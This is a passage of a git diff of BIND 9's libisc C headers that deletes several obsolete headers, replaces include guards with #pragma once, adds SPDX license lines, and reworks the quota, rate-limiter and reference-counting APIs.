- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- */
-
-void *
-isc_pool_get(isc_pool_t *pool);
-/*%<
- * Returns a pointer to an object from the pool. Currently the object
- * is chosen from the pool at random.  (This may be changed in the future
- * to something that guaratees balance.)
- */
-
-int
-isc_pool_count(isc_pool_t *pool);
-/*%<
- * Returns the number of objcts in the pool 'pool'.
- */
-
-isc_result_t
-isc_pool_expand(isc_pool_t **sourcep, unsigned int count, isc_pool_t **targetp);
-
-/*%<
- * If 'size' is larger than the number of objects in the pool pointed to by
- * 'sourcep', then a new pool of size 'count' is allocated, the existing
- * objects are copied into it, additional ones created to bring the
- * total number up to 'count', and the resulting pool is attached to
- * 'targetp'.
- *
- * If 'count' is less than or equal to the number of objects in 'source', then
- * 'sourcep' is attached to 'targetp' without any other action being taken.
- *
- * In either case, 'sourcep' is detached.
- *
- * Requires:
- *
- * \li	'sourcep' is not NULL and '*source' is not NULL
- * \li	'targetp' is not NULL and '*source' is NULL
- *
- * Ensures:
- *
- * \li	On success, '*targetp' points to a valid task pool.
- * \li	On success, '*sourcep' points to NULL.
- *
- * Returns:
- *
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOMEMORY
- */
-
-void
-isc_pool_destroy(isc_pool_t **poolp);
-/*%<
- * Destroy a task pool.  The tasks in the pool are detached but not
- * shut down.
- *
- * Requires:
- * \li	'*poolp' is a valid task pool.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_OBJPOOL_H */
diff --git a/lib/isc/include/isc/portset.h b/lib/isc/include/isc/portset.h
index a12432e784..fa5d51e5d6 100644
--- a/lib/isc/include/isc/portset.h
+++ b/lib/isc/include/isc/portset.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -21,8 +23,7 @@
  * in a place that can be accessed from multiple threads.
  */
 
-#ifndef ISC_PORTSET_H
-#define ISC_PORTSET_H 1
+#pragma once
 
 /***
  ***	Imports
@@ -132,5 +133,3 @@ isc_portset_removerange(isc_portset_t *portset, in_port_t port_lo,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_PORTSET_H */
diff --git a/lib/isc/include/isc/print.h b/lib/isc/include/isc/print.h
deleted file mode 100644
index 96bdcd6353..0000000000
--- a/lib/isc/include/isc/print.h
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_PRINT_H
-#define ISC_PRINT_H 1
-
-/*! \file isc/print.h */
-
-/***
- *** Imports
- ***/
-
-#include <isc/formatcheck.h> /* Required for ISC_FORMAT_PRINTF() macro. */
-#include <isc/lang.h>
-#include <isc/platform.h>
-
-/***
- *** Functions
- ***/
-
-#include <stdio.h>
-
-#endif /* ISC_PRINT_H */
diff --git a/lib/isc/include/isc/queue.h b/lib/isc/include/isc/queue.h
deleted file mode 100644
index a48af88881..0000000000
--- a/lib/isc/include/isc/queue.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-#include <isc/mem.h>
-
-typedef struct isc_queue isc_queue_t;
-
-isc_queue_t *
-isc_queue_new(isc_mem_t *mctx, int max_threads);
-/*%<
- * Create a new fetch-and-add array queue.
- *
- * 'max_threads' is currently unused. In the future it can be used
- * to pass a maximum threads parameter when creating hazard pointers,
- * but currently `isc_hp_t` uses a hard-coded value.
- */
-
-void
-isc_queue_enqueue(isc_queue_t *queue, uintptr_t item);
-/*%<
- * Enqueue an object pointer 'item' at the tail of the queue.
- *
- * Requires:
- * \li	'item' is not null.
- */
-
-uintptr_t
-isc_queue_dequeue(isc_queue_t *queue);
-/*%<
- * Remove an object pointer from the head of the queue and return the
- * pointer. If the queue is empty, return `nulluintptr` (the uintptr_t
- * representation of NULL).
- *
- * Requires:
- * \li	'queue' is not null.
- */
-
-void
-isc_queue_destroy(isc_queue_t *queue);
-/*%<
- * Destroy a queue.
- *
- * Requires:
- * \li	'queue' is not null.
- */
diff --git a/lib/isc/include/isc/quota.h b/lib/isc/include/isc/quota.h
index 3431006595..85654dd66f 100644
--- a/lib/isc/include/isc/quota.h
+++ b/lib/isc/include/isc/quota.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_QUOTA_H
-#define ISC_QUOTA_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -29,37 +30,43 @@
  *** Imports.
  ***/
 
+#include <isc/align.h>
 #include <isc/atomic.h>
+#include <isc/job.h>
 #include <isc/lang.h>
 #include <isc/magic.h>
 #include <isc/mutex.h>
+#include <isc/os.h>
+#include <isc/refcount.h>
 #include <isc/types.h>
+#include <isc/urcu.h>
 
 /*****
 ***** Types.
 *****/
 
-ISC_LANG_BEGINDECLS
+#undef ISC_QUOTA_TRACE
 
-/*% isc_quota_cb - quota callback structure */
-typedef struct isc_quota_cb isc_quota_cb_t;
-typedef void (*isc_quota_cb_func_t)(isc_quota_t *quota, void *data);
-struct isc_quota_cb {
-	int		    magic;
-	isc_quota_cb_func_t cb_func;
-	void *		    data;
-	ISC_LINK(isc_quota_cb_t) link;
-};
+ISC_LANG_BEGINDECLS
 
-/*% isc_quota structure */
+/*%
+ * isc_quota structure
+ *
+ * NOTE: We are using struct cds_wfcq_head which has an internal
+ * mutex, because we are using enqueue and dequeue, and dequeues need
+ * synchronization between multiple threads (see urcu/wfcqueue.h for
+ * detailed description).
+ */
 struct isc_quota {
 	int		     magic;
 	atomic_uint_fast32_t max;
 	atomic_uint_fast32_t used;
 	atomic_uint_fast32_t soft;
-	atomic_uint_fast32_t waiting;
-	isc_mutex_t	     cblock;
-	ISC_LIST(isc_quota_cb_t) cbs;
+	struct {
+		alignas(ISC_OS_CACHELINE_SIZE) struct cds_wfcq_head head;
+		alignas(ISC_OS_CACHELINE_SIZE) struct cds_wfcq_tail tail;
+	} jobs;
+	ISC_LINK(isc_quota_t) link;
 };
 
 void
@@ -104,25 +111,14 @@ isc_quota_getused(isc_quota_t *quota);
  * Get the current usage of quota.
  */
 
+#define isc_quota_acquire(quota) isc_quota_acquire_cb(quota, NULL, NULL, NULL)
 isc_result_t
-isc_quota_attach(isc_quota_t *quota, isc_quota_t **p);
+isc_quota_acquire_cb(isc_quota_t *quota, isc_job_t *job, isc_job_cb cb,
+		     void *cbarg);
 /*%<
  *
- * Attempt to reserve one unit of 'quota', and also attaches '*p' to the quota
- * if successful (ISC_R_SUCCESS or ISC_R_SOFTQUOTA).
- *
- * Returns:
- * \li	#ISC_R_SUCCESS		Success
- * \li	#ISC_R_SOFTQUOTA	Success soft quota reached
- * \li	#ISC_R_QUOTA		Quota is full
- */
-
-isc_result_t
-isc_quota_attach_cb(isc_quota_t *quota, isc_quota_t **p, isc_quota_cb_t *cb);
-/*%<
- *
- * Like isc_quota_attach(), but if there's no quota left then cb->cb_func will
- * be called when we are attached to quota.
+ * Attempt to reserve one unit of 'quota', if there's no quota left then
+ * cb->cb(cb->cbarg) will be called when there's quota again.
  *
  * Note: It's the caller's responsibility to make sure that we don't end up
  * with a huge number of callbacks waiting, making it easy to create a
@@ -138,17 +134,9 @@ isc_quota_attach_cb(isc_quota_t *quota, isc_quota_t **p, isc_quota_cb_t *cb);
  */
 
 void
-isc_quota_cb_init(isc_quota_cb_t *cb, isc_quota_cb_func_t cb_func, void *data);
+isc_quota_release(isc_quota_t *quota);
 /*%<
- * Initialize isc_quota_cb_t - setup the list, set the callback and data.
- */
-
-void
-isc_quota_detach(isc_quota_t **p);
-/*%<
- * Release one unit of quota, and also detaches '*p' from the quota.
+ * Release one unit of quota.
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_QUOTA_H */
diff --git a/lib/isc/include/isc/radix.h b/lib/isc/include/isc/radix.h
index 50cdf6be33..9a91118090 100644
--- a/lib/isc/include/isc/radix.h
+++ b/lib/isc/include/isc/radix.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef _RADIX_H
-#define _RADIX_H
+#pragma once
 
 #include <inttypes.h>
 #include <string.h>
@@ -42,7 +43,7 @@
 	} while (0)
 
 typedef struct isc_prefix {
-	isc_mem_t *  mctx;
+	isc_mem_t   *mctx;
 	unsigned int family;   /* AF_INET | AF_INET6, or AF_UNSPEC for
 				* "any" */
 	unsigned int   bitlen; /* 0 for "any" */
@@ -85,12 +86,12 @@ typedef void (*isc_radix_processfunc_t)(isc_prefix_t *, void **);
 #define ISC_RADIX_FAMILY(p) (((p)->family == AF_INET6) ? RADIX_V6 : RADIX_V4)
 
 typedef struct isc_radix_node {
-	isc_mem_t *	       mctx;
+	isc_mem_t	      *mctx;
 	uint32_t	       bit;    /* bit length of the prefix */
-	isc_prefix_t *	       prefix; /* who we are in radix tree */
+	isc_prefix_t	      *prefix; /* who we are in radix tree */
 	struct isc_radix_node *l, *r;  /* left and right children */
 	struct isc_radix_node *parent; /* may be used */
-	void *		       data[RADIX_FAMILIES]; /* pointers to IPv4
+	void		      *data[RADIX_FAMILIES]; /* pointers to IPv4
 						      * and IPV6 data */
 	int node_num[RADIX_FAMILIES];		     /* which node
 						      * this was in
@@ -104,7 +105,7 @@ typedef struct isc_radix_node {
 
 typedef struct isc_radix_tree {
 	unsigned int	  magic;
-	isc_mem_t *	  mctx;
+	isc_mem_t	 *mctx;
 	isc_radix_node_t *head;
 	uint32_t	  maxbits;	   /* for IP, 32 bit addresses */
 	int		  num_active_node; /* for debugging purposes */
@@ -196,9 +197,9 @@ isc_radix_process(isc_radix_tree_t *radix, isc_radix_processfunc_t func);
 
 #define RADIX_WALK(Xhead, Xnode)                              \
 	do {                                                  \
-		isc_radix_node_t * Xstack[RADIX_MAXBITS + 1]; \
+		isc_radix_node_t  *Xstack[RADIX_MAXBITS + 1]; \
 		isc_radix_node_t **Xsp = Xstack;              \
-		isc_radix_node_t * Xrn = (Xhead);             \
+		isc_radix_node_t  *Xrn = (Xhead);             \
 		while ((Xnode = Xrn)) {                       \
 			if (Xnode->prefix)
 
@@ -218,5 +219,3 @@ isc_radix_process(isc_radix_tree_t *radix, isc_radix_processfunc_t func);
 	}                                    \
 	}                                    \
 	while (0)
-
-#endif /* _RADIX_H */
diff --git a/lib/isc/include/isc/random.h b/lib/isc/include/isc/random.h
index 556e74754a..79f1f9de2c 100644
--- a/lib/isc/include/isc/random.h
+++ b/lib/isc/include/isc/random.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -52,12 +54,18 @@ isc_random_buf(void *buf, size_t buflen);
 uint32_t
 isc_random_uniform(uint32_t upper_bound);
 /*!<
- * \brief Will return a single 32-bit value, uniformly distributed but
- *        less than upper_bound.  This is recommended over
- *        constructions like ``isc_random() % upper_bound'' as it
- *        avoids "modulo bias" when the upper bound is not a power of
- *        two.  In the worst case, this function may require multiple
- *        iterations to ensure uniformity.
+ * \brief Returns a single 32-bit uniformly distributed random value
+ *        less than upper_bound.
+ *
+ * This is better than ``isc_random() % upper_bound'' as it avoids
+ * "modulo bias" when the upper bound is not a power of two. This
+ * function is also faster, because it usually avoids doing any
+ * divisions (which are typically very slow).
+ *
+ * It uses rejection sampling to ensure uniformity, so it may require
+ * multiple iterations to get a result; the probability of needing to
+ * resample is very small when the upper_bound is small, rising to 0.5
+ * when upper_bound is UINT32_MAX/2.
  */
 
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/ratelimiter.h b/lib/isc/include/isc/ratelimiter.h
index 3598078cc4..d5510cf978 100644
--- a/lib/isc/include/isc/ratelimiter.h
+++ b/lib/isc/include/isc/ratelimiter.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_RATELIMITER_H
-#define ISC_RATELIMITER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -30,23 +31,34 @@
 #include <stdbool.h>
 
 #include <isc/lang.h>
+#include <isc/loop.h>
+#include <isc/time.h>
 #include <isc/types.h>
 
+struct isc_rlevent {
+	isc_loop_t	  *loop;
+	isc_ratelimiter_t *rl;
+	bool		   canceled;
+	isc_job_cb	   cb;
+	void		  *arg;
+	ISC_LINK(isc_rlevent_t) link;
+};
+
 ISC_LANG_BEGINDECLS
 
 /*****
 ***** Functions.
 *****/
 
-isc_result_t
-isc_ratelimiter_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
-		       isc_task_t *task, isc_ratelimiter_t **ratelimiterp);
+void
+isc_ratelimiter_create(isc_loop_t *loop, isc_ratelimiter_t **rlp);
 /*%<
  * Create a rate limiter.  The execution interval is initially undefined.
  */
 
-isc_result_t
-isc_ratelimiter_setinterval(isc_ratelimiter_t *rl, isc_interval_t *interval);
+void
+isc_ratelimiter_setinterval(isc_ratelimiter_t *restrict rl,
+			    const isc_interval_t *const interval);
 /*!<
  * Set the minimum interval between event executions.
  * The interval value is copied, so the caller need not preserve it.
@@ -56,45 +68,47 @@ isc_ratelimiter_setinterval(isc_ratelimiter_t *rl, isc_interval_t *interval);
  */
 
 void
-isc_ratelimiter_setpertic(isc_ratelimiter_t *rl, uint32_t perint);
+isc_ratelimiter_setpertic(isc_ratelimiter_t *restrict rl,
+			  const uint32_t perint);
 /*%<
  * Set the number of events processed per interval timer tick.
  * If 'perint' is zero it is treated as 1.
  */
 
 void
-isc_ratelimiter_setpushpop(isc_ratelimiter_t *rl, bool pushpop);
+isc_ratelimiter_setpushpop(isc_ratelimiter_t *restrict rl, const bool pushpop);
 /*%<
  * Set / clear the ratelimiter to from push pop mode rather
  * first in - first out mode (default).
  */
 
 isc_result_t
-isc_ratelimiter_enqueue(isc_ratelimiter_t *rl, isc_task_t *task,
-			isc_event_t **eventp);
+isc_ratelimiter_enqueue(isc_ratelimiter_t *restrict rl,
+			isc_loop_t *restrict loop, isc_job_cb cb, void *arg,
+			isc_rlevent_t **rlep);
 /*%<
  * Queue an event for rate-limited execution.
  *
- * This is similar
- * to doing an isc_task_send() to the 'task', except that the
- * execution may be delayed to achieve the desired rate of
+ * This is similar to doing an isc_async_run() to the 'loop', except
+ * that the execution may be delayed to achieve the desired rate of
  * execution.
  *
- * '(*eventp)->ev_sender' is used to hold the task.  The caller
- * must ensure that the task exists until the event is delivered.
+ * '*rlep' will be set to point to an allocated ratelimiter event,
+ * which can be freed by the caller using isc_rlevent_free() when the
+ * event fires, or by dequeueing.
  *
  * Requires:
- *\li	An interval has been set by calling
- *	isc_ratelimiter_setinterval().
- *
- *\li	'task' to be non NULL.
- *\li	'(*eventp)->ev_sender' to be NULL.
+ *\li	'rl' is a valid ratelimiter.
+ *\li	'loop ' is non NULL.
+ *\li	'rlep' is non NULL and '*rlep' is NULL.
  */
 
 isc_result_t
-isc_ratelimiter_dequeue(isc_ratelimiter_t *rl, isc_event_t *event);
+isc_ratelimiter_dequeue(isc_ratelimiter_t *restrict rl,
+			isc_rlevent_t **rleventp);
 /*
- * Dequeue a event off the ratelimiter queue.
+ * Dequeue a event off the ratelimiter queue. If the event has not already
+ * been posted, it will be freed and '*rleventp' will be set to NULL.
  *
  * Returns:
  * \li	ISC_R_NOTFOUND if the event is no longer linked to the rate limiter.
@@ -102,45 +116,27 @@ isc_ratelimiter_dequeue(isc_ratelimiter_t *rl, isc_event_t *event);
  */
 
 void
-isc_ratelimiter_shutdown(isc_ratelimiter_t *ratelimiter);
+isc_ratelimiter_shutdown(isc_ratelimiter_t *restrict rl);
 /*%<
  * Shut down a rate limiter.
  *
  * Ensures:
- *\li	All events that have not yet been
- * 	dispatched to the task are dispatched immediately with
- *	the #ISC_EVENTATTR_CANCELED bit set in ev_attributes.
+ *\li	All pending events are dispatched immediately with
+ *	rle->canceled set to true.
  *
  *\li	Further attempts to enqueue events will fail with
- * 	#ISC_R_SHUTTINGDOWN.
- *
- *\li	The rate limiter is no longer attached to its task.
- */
-
-void
-isc_ratelimiter_attach(isc_ratelimiter_t *source, isc_ratelimiter_t **target);
-/*%<
- * Attach to a rate limiter.
+ *	#ISC_R_SHUTTINGDOWN.
  */
 
 void
-isc_ratelimiter_detach(isc_ratelimiter_t **ratelimiterp);
+isc_rlevent_free(isc_rlevent_t **rlep);
 /*%<
- * Detach from a rate limiter.
+ * Free the rate limiter event '*rlep'.
  */
 
-isc_result_t
-isc_ratelimiter_stall(isc_ratelimiter_t *rl);
+ISC_REFCOUNT_DECL(isc_ratelimiter);
 /*%<
- * Stall event processing.
- */
-
-isc_result_t
-isc_ratelimiter_release(isc_ratelimiter_t *rl);
-/*%<
- * Release a stalled rate limiter.
+ * The rate limiter reference counting.
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_RATELIMITER_H */
diff --git a/lib/isc/include/isc/refcount.h b/lib/isc/include/isc/refcount.h
index 26f962b283..8231233072 100644
--- a/lib/isc/include/isc/refcount.h
+++ b/lib/isc/include/isc/refcount.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 #include <isc/error.h>
 #include <isc/lang.h>
 #include <isc/mutex.h>
-#include <isc/platform.h>
+#include <isc/tid.h>
 #include <isc/types.h>
 
 /*! \file isc/refcount.h
@@ -46,12 +48,9 @@ typedef atomic_uint_fast32_t isc_refcount_t;
  *  \brief Returns current number of references.
  *  \param[in] ref pointer to reference counter.
  *  \returns current value of reference counter.
- *
- *   Undo implicit promotion to 64 bits in our Windows implementation of
- *   atomic_load_explicit() by casting to uint_fast32_t.
  */
 
-#define isc_refcount_current(target) (uint_fast32_t) atomic_load_acquire(target)
+#define isc_refcount_current(target) atomic_load_acquire(target)
 
 /** \def isc_refcount_destroy(ref)
  *  \brief a destructor that makes sure that all references were cleared.
@@ -66,72 +65,39 @@ typedef atomic_uint_fast32_t isc_refcount_t;
  *  \param[in] ref pointer to reference counter.
  *  \returns previous value of reference counter.
  */
-#if _MSC_VER
-static inline uint_fast32_t
-isc_refcount_increment0(isc_refcount_t *target) {
-	uint_fast32_t __v;
-	__v = (uint_fast32_t)atomic_fetch_add_relaxed(target, 1);
-	INSIST(__v < UINT32_MAX);
-	return (__v);
-}
-#else /* _MSC_VER */
 #define isc_refcount_increment0(target)                    \
 	({                                                 \
-		/* cppcheck-suppress shadowVariable */     \
 		uint_fast32_t __v;                         \
 		__v = atomic_fetch_add_relaxed(target, 1); \
 		INSIST(__v < UINT32_MAX);                  \
 		__v;                                       \
 	})
-#endif /* _MSC_VER */
 
 /** \def isc_refcount_increment(ref)
  *  \brief increases reference counter by 1.
  *  \param[in] ref pointer to reference counter.
  *  \returns previous value of reference counter.
  */
-#if _MSC_VER
-static inline uint_fast32_t
-isc_refcount_increment(isc_refcount_t *target) {
-	uint_fast32_t __v;
-	__v = (uint_fast32_t)atomic_fetch_add_relaxed(target, 1);
-	INSIST(__v > 0 && __v < UINT32_MAX);
-	return (__v);
-}
-#else /* _MSC_VER */
 #define isc_refcount_increment(target)                     \
 	({                                                 \
-		/* cppcheck-suppress shadowVariable */     \
 		uint_fast32_t __v;                         \
 		__v = atomic_fetch_add_relaxed(target, 1); \
 		INSIST(__v > 0 && __v < UINT32_MAX);       \
 		__v;                                       \
 	})
-#endif /* _MSC_VER */
 
 /** \def isc_refcount_decrement(ref)
  *  \brief decreases reference counter by 1.
  *  \param[in] ref pointer to reference counter.
  *  \returns previous value of reference counter.
  */
-#if _MSC_VER
-static inline uint_fast32_t
-isc_refcount_decrement(isc_refcount_t *target) {
-	uint_fast32_t __v;
-	__v = (uint_fast32_t)atomic_fetch_sub_acq_rel(target, 1);
-	INSIST(__v > 0);
-	return (__v);
-}
-#else /* _MSC_VER */
 #define isc_refcount_decrement(target)                     \
 	({                                                 \
-		/* cppcheck-suppress shadowVariable */     \
 		uint_fast32_t __v;                         \
 		__v = atomic_fetch_sub_acq_rel(target, 1); \
 		INSIST(__v > 0);                           \
 		__v;                                       \
 	})
-#endif /* _MSC_VER */
 
 #define isc_refcount_decrementz(target)                               \
 	do {                                                          \
@@ -151,4 +117,96 @@ isc_refcount_decrement(isc_refcount_t *target) {
 		ISC_INSIST(_refs > 0);                                \
 	} while (0)
 
+#define ISC_REFCOUNT_TRACE_DECL(name)                                         \
+	name##_t *name##__ref(name##_t *ptr, const char *func,                \
+			      const char *file, unsigned int line);           \
+	void name##__unref(name##_t *ptr, const char *func, const char *file, \
+			   unsigned int line);                                \
+	void name##__attach(name##_t *ptr, name##_t **ptrp, const char *func, \
+			    const char *file, unsigned int line);             \
+	void name##__detach(name##_t **ptrp, const char *func,                \
+			    const char *file, unsigned int line)
+
+#define ISC_REFCOUNT_TRACE_IMPL(name, destroy)                                \
+	name##_t *name##__ref(name##_t *ptr, const char *func,                \
+			      const char *file, unsigned int line) {          \
+		REQUIRE(ptr != NULL);                                         \
+		uint_fast32_t refs =                                          \
+			isc_refcount_increment(&ptr->references) + 1;         \
+		fprintf(stderr,                                               \
+			"%s:%s:%s:%u:t%u:%p->references = %" PRIuFAST32 "\n", \
+			__func__, func, file, line, isc_tid(), ptr, refs);    \
+		return (ptr);                                                 \
+	}                                                                     \
+                                                                              \
+	void name##__unref(name##_t *ptr, const char *func, const char *file, \
+			   unsigned int line) {                               \
+		REQUIRE(ptr != NULL);                                         \
+		uint_fast32_t refs =                                          \
+			isc_refcount_decrement(&ptr->references) - 1;         \
+		if (refs == 0) {                                              \
+			destroy(ptr);                                         \
+		}                                                             \
+		fprintf(stderr,                                               \
+			"%s:%s:%s:%u:t%u:%p->references = %" PRIuFAST32 "\n", \
+			__func__, func, file, line, isc_tid(), ptr, refs);    \
+	}                                                                     \
+	void name##__attach(name##_t *ptr, name##_t **ptrp, const char *func, \
+			    const char *file, unsigned int line) {            \
+		REQUIRE(ptrp != NULL && *ptrp == NULL);                       \
+		uint_fast32_t refs =                                          \
+			isc_refcount_increment(&ptr->references) + 1;         \
+		fprintf(stderr,                                               \
+			"%s:%s:%s:%u:t%u:%p->references = %" PRIuFAST32 "\n", \
+			__func__, func, file, line, isc_tid(), ptr, refs);    \
+		*ptrp = ptr;                                                  \
+	}                                                                     \
+                                                                              \
+	void name##__detach(name##_t **ptrp, const char *func,                \
+			    const char *file, unsigned int line) {            \
+		REQUIRE(ptrp != NULL && *ptrp != NULL);                       \
+		name##_t *ptr = *ptrp;                                        \
+		*ptrp = NULL;                                                 \
+		uint_fast32_t refs =                                          \
+			isc_refcount_decrement(&ptr->references) - 1;         \
+		if (refs == 0) {                                              \
+			destroy(ptr);                                         \
+		}                                                             \
+		fprintf(stderr,                                               \
+			"%s:%s:%s:%u:t%u:%p->references = %" PRIuFAST32 "\n", \
+			__func__, func, file, line, isc_tid(), ptr, refs);    \
+	}
+
+#define ISC_REFCOUNT_DECL(name)                                  \
+	name##_t *name##_ref(name##_t *ptr);                     \
+	void	  name##_unref(name##_t *ptr);                   \
+	void	  name##_attach(name##_t *ptr, name##_t **ptrp); \
+	void	  name##_detach(name##_t **ptrp)
+
+#define ISC_REFCOUNT_IMPL(name, destroy)                             \
+	name##_t *name##_ref(name##_t *ptr) {                        \
+		REQUIRE(ptr != NULL);                                \
+		isc_refcount_increment(&ptr->references);            \
+		return (ptr);                                        \
+	}                                                            \
+                                                                     \
+	void name##_unref(name##_t *ptr) {                           \
+		REQUIRE(ptr != NULL);                                \
+		if (isc_refcount_decrement(&ptr->references) == 1) { \
+			destroy(ptr);                                \
+		}                                                    \
+	}                                                            \
+	void name##_attach(name##_t *ptr, name##_t **ptrp) {         \
+		REQUIRE(ptrp != NULL && *ptrp == NULL);              \
+		name##_ref(ptr);                                     \
+		*ptrp = ptr;                                         \
+	}                                                            \
+                                                                     \
+	void name##_detach(name##_t **ptrp) {                        \
+		REQUIRE(ptrp != NULL && *ptrp != NULL);              \
+		name##_t *ptr = *ptrp;                               \
+		*ptrp = NULL;                                        \
+		name##_unref(ptr);                                   \
+	}
+
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/regex.h b/lib/isc/include/isc/regex.h
index f6dcf3f885..989d7b1219 100644
--- a/lib/isc/include/isc/regex.h
+++ b/lib/isc/include/isc/regex.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_REGEX_H
-#define ISC_REGEX_H 1
+#pragma once
 
 /*! \file isc/regex.h */
 
@@ -30,5 +31,3 @@ isc_regex_validate(const char *expression);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_REGEX_H */
diff --git a/lib/isc/include/isc/region.h b/lib/isc/include/isc/region.h
index b6c932f4e4..6f775cf722 100644
--- a/lib/isc/include/isc/region.h
+++ b/lib/isc/include/isc/region.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_REGION_H
-#define ISC_REGION_H 1
+#pragma once
 
 /*! \file isc/region.h */
 
@@ -23,7 +24,7 @@ struct isc_region {
 };
 
 struct isc_textregion {
-	char *	     base;
+	char	    *base;
 	unsigned int length;
 };
 
@@ -31,12 +32,12 @@ struct isc_textregion {
  * discussing the region api.
  */
 struct isc_constregion {
-	const void * base;
+	const void  *base;
 	unsigned int length;
 };
 
 struct isc_consttextregion {
-	const char * base;
+	const char  *base;
 	unsigned int length;
 };
 
@@ -92,5 +93,3 @@ isc_region_compare(isc_region_t *r1, isc_region_t *r2);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_REGION_H */
diff --git a/lib/isc/include/isc/resource.h b/lib/isc/include/isc/resource.h
deleted file mode 100644
index 0a33131208..0000000000
--- a/lib/isc/include/isc/resource.h
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_RESOURCE_H
-#define ISC_RESOURCE_H 1
-
-/*! \file isc/resource.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-#define ISC_RESOURCE_UNLIMITED ((isc_resourcevalue_t)UINT64_MAX)
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-isc_resource_setlimit(isc_resource_t resource, isc_resourcevalue_t value);
-/*%<
- * Set the maximum limit for a system resource.
- *
- * Notes:
- *\li	If 'value' exceeds the maximum possible on the operating system,
- *	it is silently limited to that maximum -- or to "infinity", if
- *	the operating system has that concept.  #ISC_RESOURCE_UNLIMITED
- *	can be used to explicitly ask for the maximum.
- *
- * Requires:
- *\li	'resource' is a valid member of the isc_resource_t enumeration.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS	Success.
- *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
